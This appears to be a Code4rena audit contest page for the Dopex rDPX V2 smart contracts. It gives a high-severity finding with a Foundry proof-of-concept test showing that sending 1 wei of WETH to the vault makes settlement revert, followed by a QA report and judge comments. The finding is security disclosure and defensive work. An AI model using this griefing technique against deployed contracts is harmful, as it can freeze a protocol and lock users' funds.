Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 130/189
Findings: 2
Award: $19.18
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: klau5
Also found by: 0x3b, 0xCiphky, 0xDING99YA, 0xWaitress, 0xbranded, 0xc0ffEE, 0xklh, 0xsurena, 0xvj, ABA, AkshaySrivastav, Anirruth, Aymen0909, Baki, Blockian, BugzyVonBuggernaut, DanielArmstrong, Evo, GangsOfBrahmin, HChang26, Inspex, Jiamin, Juntao, Kow, Krace, KrisApostolov, LFGSecurity, LokiThe5th, Mike_Bello90, Norah, Nyx, QiuhaoLi, RED-LOTUS-REACH, SBSecurity, Snow24, SpicyMeatball, T1MOH, Tendency, Toshii, Udsen, Yanchuan, __141345__, ak1, asui, auditsea, ayden, bart1e, bin2chen, blutorque, carrotsmuggler, chaduke, chainsnake, circlelooper, clash, codegpt, crunch, degensec, dirk_y, ge6a, gjaldon, grearlake, jasonxiale, juancito, ke1caM, kodyvim, kutugu, ladboy233, lanrebayode77, mahdikarimi, max10afternoon, mert_eren, nirlin, nobody2018, oakcobalt, parsely, peakbolt, pks_, pontifex, ravikiranweb3, rokinot, rvierdiiev, said, savi0ur, sces60107, sh1v, sl1, spidy730, tapir, tnquanghuy0512, ubermensch, visualbits, volodya, wintermute
0.0128 USDC - $0.01
https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L359-L361 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L772-L774
RdpxV2Core.settle
reverts and the protocol stops.
If a collateral token(WETH) is arbitrarily sent to PerpetualAtlanticVaultLP, the values of collateral.balanceOf(address(this))
and _totalCollateral
will be different.
Since PerpetualAtlanticVaultLP.subtractLoss
requires that collateral.balanceOf(address(this))
exactly match with _totalCollateral - loss
, PerpetualAtlanticVaultLP.subtractLoss
will be failed if an attacker arbitrarily transfers collateral tokens to the PerpetualAtlanticVaultLP contract.
function subtractLoss(uint256 loss) public onlyPerpVault { require( collateral.balanceOf(address(this)) == _totalCollateral - loss, "Not enough collateral was sent out" ); _totalCollateral -= loss; }
Since there is no function that synchronizes _totalCollateral
with collateral.balanceOf(address(this))
without moving tokens, even admin cannot fix.
This is exploit PoC. Add this test case at tests/perp-vault/Unit.t.sol
function testSettlePoC() public { weth.mint(address(1), 1 ether); weth.mint(address(777), 1 ether); // give some tokens to attacker deposit(1 ether, address(1)); vault.purchase(1 ether, address(this)); uint256[] memory ids = new uint256[](1); ids[0] = 0; skip(86500); // expire priceOracle.updateRdpxPrice(0.010 gwei); // ITM uint256 wethBalanceBefore = weth.balanceOf(address(this)); uint256 rdpxBalanceBefore = rdpx.balanceOf(address(this)); // attack vm.startPrank(address(777), address(777)); weth.transfer(address(vaultLp), 1); // send 1 wei of collateral vm.stopPrank(); vm.expectRevert("Not enough collateral was sent out"); vault.settle(ids); }
Manual Review
Use >=
instead of ==
at PerpetualAtlanticVaultLP.subtractLoss
function subtractLoss(uint256 loss) public onlyPerpVault { require( - collateral.balanceOf(address(this)) == _totalCollateral - loss, + collateral.balanceOf(address(this)) >= _totalCollateral - loss, "Not enough collateral was sent out" ); _totalCollateral -= loss; }
Invalid Validation
#0 - c4-pre-sort
2023-09-09T09:57:13Z
bytes032 marked the issue as duplicate of #619
#1 - c4-pre-sort
2023-09-11T16:14:31Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T19:32:16Z
GalloDaSballo marked the issue as satisfactory
#3 - GalloDaSballo
2023-10-20T19:32:50Z
Best
#4 - c4-judge
2023-10-20T20:01:31Z
GalloDaSballo marked the issue as selected for report
#5 - c4-judge
2023-10-21T07:24:33Z
GalloDaSballo changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-10-21T07:24:39Z
GalloDaSballo changed the severity to 3 (High Risk)
#7 - c4-judge
2023-10-21T16:02:51Z
GalloDaSballo marked the issue as not selected for report
#8 - c4-judge
2023-10-21T16:02:56Z
GalloDaSballo marked the issue as selected for report
#9 - c4-judge
2023-10-30T20:04:28Z
GalloDaSballo removed the grade
🌟 Selected for report: juancito
Also found by: 0xDING99YA, 0xTiwa, 0xkazim, 0xnev, ABA, ArmedGoose, Aymen0909, Bauchibred, Evo, IceBear, KrisApostolov, MohammedRizwan, Nikki, QiuhaoLi, T1MOH, Toshii, WoolCentaur, Yanchuan, __141345__, asui, bart1e, carrotsmuggler, catellatech, chaduke, codegpt, deadrxsezzz, degensec, dethera, dirk_y, erebus, ether_sky, gjaldon, glcanvas, jasonxiale, josephdara, klau5, kodyvim, ladboy233, lsaudit, minhquanym, parsely, peakbolt, pep7siup, rvierdiiev, said, savi0ur, sces60107, tapir, ubermensch, volodya, zzebra83
19.1724 USDC - $19.17
Too much authority is granted to the deployer.
The deployer of RdpxV2Bond is not the RdpxV2Core contract. There is no need to grant MINTER_ROLE
to contract deployer.
constructor() ERC721("rDPX V2 Bond", "rDPXV2Bond") { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(MINTER_ROLE, msg.sender); }
The deployer of ReLPContract is not the RdpxV2Core contract. There is no need to grant RDPXV2CORE_ROLE
to contract deployer.
constructor() { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(RDPXV2CORE_ROLE, msg.sender); }
The deployer of DpxEthToken is not the RdpxV2Core contract. There is no need to grant MINTER_ROLE
to contract deployer.
constructor() ERC20("Dopex Synthetic ETH", "dpxETH") { _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); _grantRole(PAUSER_ROLE, msg.sender); _grantRole(MINTER_ROLE, msg.sender); }
Manual Review
Do not grant unnecessary roles to the deployer.
_isEligibleSender
The following functions are functions that can only be called for a specific msg.sender
by onlyRole. So there is no need to check them twice with _isEligibleSender
.
function lowerDepeg( uint256 _rdpxAmount, uint256 _wethAmount, uint256 minamountOfWeth, uint256 minOut ) external onlyRole(DEFAULT_ADMIN_ROLE) returns (uint256 dpxEthReceived) { _isEligibleSender(); ... } function upperDepeg( uint256 _amount, uint256 minOut ) external onlyRole(DEFAULT_ADMIN_ROLE) returns (uint256 wethReceived) { _isEligibleSender(); ... }
function settle( uint256[] memory optionIds ) external nonReentrant onlyRole(RDPXV2CORE_ROLE) returns (uint256 ethAmount, uint256 rdpxAmount) { _whenNotPaused(); _isEligibleSender(); ... } function payFunding() external onlyRole(RDPXV2CORE_ROLE) returns (uint256) { _whenNotPaused(); _isEligibleSender(); ... }
Manual Review
Remove _isEligibleSender
call.
MANAGER_ROLE
At PerpetualAtlanticVault contract, MANAGER_ROLE
is defined and initialized at constructor. But There is no usage of MANAGER_ROLE
at all.
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE"); constructor( string memory _name, string memory _symbol, address _collateralToken, uint256 _gensis ) ERC721(_name, _symbol) { ... _setupRole(MANAGER_ROLE, msg.sender); }
Manual Review
Remove MANAGER_ROLE
constant and remove initializing code at constructor
Unnecessarily approve token usage
The transferFrom
function is called in the PerpetualAtlanticVaultLP contract when the deposit
function is called.
Since the PerpetualAtlanticVaultLP.deposit
function is not called in the PerpetualAtlanticVault contract, there is no need to approve token consumption at setAddresses
function.
Also, there is no reason for the PerpetualAtlanticVault.setLpAllowance
function to exist.
Manual Review
Remove safeApprove
for perpetualAtlanticVaultLP at setAddresses
and remove setLpAllowance
function
function setAddresses( address _optionPricing, address _assetPriceOracle, address _volatilityOracle, address _feeDistributor, address _rdpx, address _perpetualAtlanticVaultLP, address _rdpxV2Core ) external onlyRole(DEFAULT_ADMIN_ROLE) { _validate(_optionPricing != address(0), 1); _validate(_assetPriceOracle != address(0), 1); _validate(_volatilityOracle != address(0), 1); _validate(_feeDistributor != address(0), 1); _validate(_rdpx != address(0), 1); _validate(_perpetualAtlanticVaultLP != address(0), 1); _validate(_rdpxV2Core != address(0), 1); addresses = Addresses({ optionPricing: _optionPricing, assetPriceOracle: _assetPriceOracle, volatilityOracle: _volatilityOracle, feeDistributor: _feeDistributor, rdpx: _rdpx, perpetualAtlanticVaultLP: _perpetualAtlanticVaultLP, rdpxV2Core: _rdpxV2Core }); - collateralToken.safeApprove( - addresses.perpetualAtlanticVaultLP, - type(uint256).max - ); emit AddressesSet(addresses); } -function setLpAllowance(bool increase) external onlyRole(DEFAULT_ADMIN_ROLE) { - increase - ? collateralToken.approve( - addresses.perpetualAtlanticVaultLP, - type(uint256).max - ) - : collateralToken.approve(addresses.perpetualAtlanticVaultLP, 0); -}
The variable exists but is not used.
UniV2LiquidityAmo has slippageTolerance
variable and setter function. However, there is no function that actually uses the slippageTolerance
variable.
uint256 public slippageTolerance = 5e5; // 0.5% function setSlippageTolerance( uint256 _slippageTolerance ) external onlyRole(DEFAULT_ADMIN_ROLE) { require( _slippageTolerance > 0, "reLPContract: slippage tolerance must be greater than 0" ); slippageTolerance = _slippageTolerance; }
PerpetualAtlanticVaultLP has an underlyingSymbol
variable. This variable is neither used nor initialized.
string public underlyingSymbol;
Manual Review
Remove unused variable and setter function.
ERC721 NFTs(PerpetualAtlanticVault, RdpxV2Bond, RdpxDecayingBonds) are not properly listed on the NFT Marketplace and cannot be managed by logging into the Marketplace page as an administrator
In order to be listed correctly on platforms such as Opensea, the tokenURI
and contractURI
functions must be defined or overridden. Additionally, you can set up the Opensea page if you inherit Ownable
.
The PerpetualAtlanticVault, RdpxV2Bond, and RdpxDecayingBonds contracts are ERC721 contracts, but they will not be properly listed or managed on the NFT marketplace because they do not follow these.
It would be good to return json from tokenURI
so that the optionPositions
information of the PerpetualAtlanticVault contract or the bond information of the RdpxV2Bond and RdpxDecayingBonds contracts can be obtained as metadata.
Manual Review
Define or override tokenURI
and contractURI
functions and inherit Ownable
.
decreaseAmount
Incorrect namingThe decreaseAmount
function seems to perform an operation to subtract the amount
just by looking at its name, but in reality it works as a simple setter. Function names and actual behavior do not intuitively match.
function decreaseAmount( uint256 bondId, uint256 amount ) public onlyRole(RDPXV2CORE_ROLE) { _whenNotPaused(); bonds[bondId].rdpxAmount = amount; }
RdpxV2Core._transfer
that calls decreaseAmount
is also used in a way that the caller calculates and sets it.
IRdpxDecayingBonds(addresses.rdpxDecayingBonds).decreaseAmount( _bondId, amount - _rdpxAmount );
Manual Review
Change the name of decreaseAmount
to setAmount
, or change it to receive amount
to subtract and perform a subtraction operation at decreaseAmount
function.
emergencyWithdraw
not exist at some contractsCannot take out tokens at urgent situation.
The emergencyWithdraw
function is not required, but it seems that Dopex wants to include emergencyWithdraw
whenever possible, given that many of Dopex's contracts have an emergencyWithdraw
function.
If there is no emergencyWithdraw
, you cannot take out if tokens are sent by mistake or when you need to retrieve tokens urgently due to a hacking accident.
The following are contracts without the emergencyWithdraw
function or similar function in the scope.
Manual Review
Add emergencyWithdraw
function.
#0 - c4-pre-sort
2023-09-10T11:47:14Z
bytes032 marked the issue as sufficient quality report
#1 - GalloDaSballo
2023-10-10T11:48:30Z
OOS
_isEligibleSender
L
MANAGER_ROLE
R
R
R
R
decreaseAmount
Incorrect namingL
emergencyWithdraw
not exist at some contractsL
3L 4R
#2 - c4-judge
2023-10-20T10:21:42Z
GalloDaSballo marked the issue as grade-b